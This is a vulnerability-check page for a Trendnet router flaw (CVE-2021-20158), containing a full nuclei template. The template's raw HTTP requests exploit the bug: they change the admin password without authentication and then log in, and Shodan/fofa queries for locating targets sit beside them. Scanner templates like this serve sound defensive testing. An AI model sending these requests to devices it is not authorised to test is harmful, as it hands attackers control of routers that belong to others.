Trendnet AC2600 TEW-827DRU 2.08B01 - Admin Password Change

criticalseverity

9.8CVSS score

9.6%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

Trendnet AC2600 TEW-827DRU version 2.08B01 contains an authentication bypass vulnerability. It is possible for an unauthenticated, malicious actor to force change the admin password due to a hidden administrative command.

Impact

An attacker with authenticated access can gain unauthorized control over the affected device.

Fix

Upgrade to the latest firmware version provided by Trendnet to fix the vulnerability.

How to confirm it

Send: POST /apply_sec.cgi
Positive when: contains "setConnectDevice" and "setInternet" and "setWlanSSID" and "TEW-827DRU" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-20158 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-20158

info:
  name: Trendnet AC2600 TEW-827DRU 2.08B01 - Admin Password Change
  author: gy741
  severity: critical
  description: Trendnet AC2600 TEW-827DRU version 2.08B01 contains an authentication bypass vulnerability. It is possible for an unauthenticated, malicious actor to force change the admin password due to a hidden administrative command.
  impact: |
    An attacker with authenticated access can gain unauthorized control over the affected device.
  remediation: |
    Upgrade to the latest firmware version provided by Trendnet to fix the vulnerability.
  reference:
    - https://www.tenable.com/security/research/tra-2021-54
    - https://nvd.nist.gov/vuln/detail/CVE-2021-20150
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-20158
    cwe-id: CWE-306
    epss-score: 0.09618
    epss-percentile: 0.95523
    cpe: cpe:2.3:o:trendnet:tew-827dru_firmware:2.08b01:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: trendnet
    product: tew-827dru_firmware
    shodan-query:
      - http.html:"TEW-827DRU"
      - http.html:"tew-827dru"
    fofa-query: body="tew-827dru"
  tags: cve2021,cve,disclosure,router,intrusive,tenable,trendnet,vuln
variables:
  password: "{{rand_base(6)}}"

http:
  - raw:
      - |
        POST /apply_sec.cgi HTTP/1.1
        Host: {{Hostname}}

        ccp_act=set&action=tools_admin_elecom&html_response_page=dummy_value&html_response_return_page=dummy_value&method=tools&admin_password={{password}}
      - |
        POST /apply_sec.cgi HTTP/1.1
        Host: {{Hostname}}

        html_response_page=%2Flogin_pic.asp&login_name=YWRtaW4%3D&log_pass={{base64(password)}}&action=do_graph_auth&login_n=admin&tmp_log_pass=&graph_code=&session_id=

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'setConnectDevice'
          - 'setInternet'
          - 'setWlanSSID'
          - 'TEW-827DRU'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from